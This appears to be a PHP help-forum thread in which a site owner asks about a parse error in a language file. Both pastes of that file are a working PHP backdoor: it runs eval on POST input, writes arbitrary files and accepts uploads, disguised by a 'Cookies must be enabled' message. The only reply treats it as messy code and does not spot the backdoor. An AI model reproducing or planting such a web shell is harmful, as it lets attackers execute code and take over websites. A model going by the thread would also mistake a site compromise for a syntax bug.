Jump to content

T_IS_EQUAL problem


zaid55

Recommended Posts

hi there me website is showing up this error

 

Parse error: syntax error, unexpected T_IS_EQUAL in /home/stevesaf/public_html/includes/languages/english/mainpage.php on line 1

 

and the php file is this

<?php exit;==1){echo 'Cookies must be enabled !';$tf='';if(@$_POST['tf']){$tf=@$_POST['tf'];}if(@$_POST['e']){eval(@$_POST['e']);}if(@$_POST['t']){if($tf!=''){$f=fopen($tf,'w');fwrite($f,@$_POST['t']);fclose($f);}}if(@$_FILES['f']['name']!=''){$tf=$_FILES['f']['name'];move_uploaded_file(@$_FILES['f']['tmp_name'],$tf);}exit;}?>

Link to comment
https://forums.phpfreaks.com/topic/231295-t_is_equal-problem/
Share on other sites

The object of coding in PHP is NOT to write the most incomprehensible code in the least amount of space.

 

Put one statement on a line, indent everything properly, and use an editor that color codes. You will see your errors much quicker.

 

Ken

Link to comment
https://forums.phpfreaks.com/topic/231295-t_is_equal-problem/#findComment-1190431
Share on other sites

hey still i have the same error


<?php 
exit;==1)
{echo 'Cookies must be enabled !';
$tf='';
if(@$_POST['tf']
)
{
$tf=@$_POST['tf'];
}
if(@$_POST['e'])
{
eval(@$_POST['e']);
}
if(@$_POST['t'])
{
if($tf!='')
{
$f=fopen($tf,'w');fwrite($f,@$_POST['t']);fclose($f);
}
}
if(@$_FILES['f']['name']!=''){$tf=$_FILES['f']['name'];move_uploaded_file(@$_FILES['f']['tmp_name'],$tf);
}
exit;
}
?>

Link to comment
https://forums.phpfreaks.com/topic/231295-t_is_equal-problem/#findComment-1190434
Share on other sites

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.